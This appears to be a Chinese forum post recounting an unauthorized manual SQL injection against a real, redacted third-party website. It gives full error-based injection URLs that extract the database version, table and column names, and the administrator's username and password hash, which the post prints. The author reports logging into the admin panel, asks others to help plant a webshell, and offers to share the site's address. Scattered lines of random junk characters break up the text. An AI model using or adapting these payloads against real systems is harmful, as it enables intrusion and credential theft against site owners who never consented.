近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。" m% w+ g0 o# ?+ s( t0 `
首先找到网站后台,加了个admin,后台出来了
; F/ i E, Q- u8 J5 Z( V; M+ z' r4 d3 N2 l/ Q+ r% K3 q
. b# i2 I T9 u3 Q8 g然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入! p! Q1 L$ x" b$ m" J3 g
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
& H" O; M6 u" s% O1 u5 L( J; b2 b. Y
9 ^" r) W, ~2 U& m v2 P( Z6 r7 ~ G3 @4 @/ ^) w
# T4 r, H/ [: E, Z! ]- F* s
6 f. z2 }- E2 V- ]http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
" a9 K1 d% \1 o4 o# ?+ T( Z! [6 s2 |# b# }1 G% N
# m/ T- u, n3 O0 I1 B5 t
8 Y. f; u; n+ u1 H9 ~0 r7 J; \ H# E$ W
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
, z3 v+ R d- `1 v
/ J/ @" v- V( E0 Q2 B% s
- q ^1 D. Q+ `" H2 ~6 S$ [http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg
- c' h8 x6 c5 L' _/ Y/ ~, U* O k4 u7 ?
; q& y: g" B. b2 ~% U
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--$ } u: n/ }' Z* E/ |
$ i: K9 u6 Q. t- F3 A
# @9 m u# t- D. N5 ^5 `4 P* y1 @2 Z1 _9 K( K6 v
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
7 k; U+ J u/ r4 S6 O3 g* u
* i) p# r0 p; c5 u! b9 p/ U, F9 L3 s# y$ i5 B2 I) z
( \4 }) j. d9 d- O 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |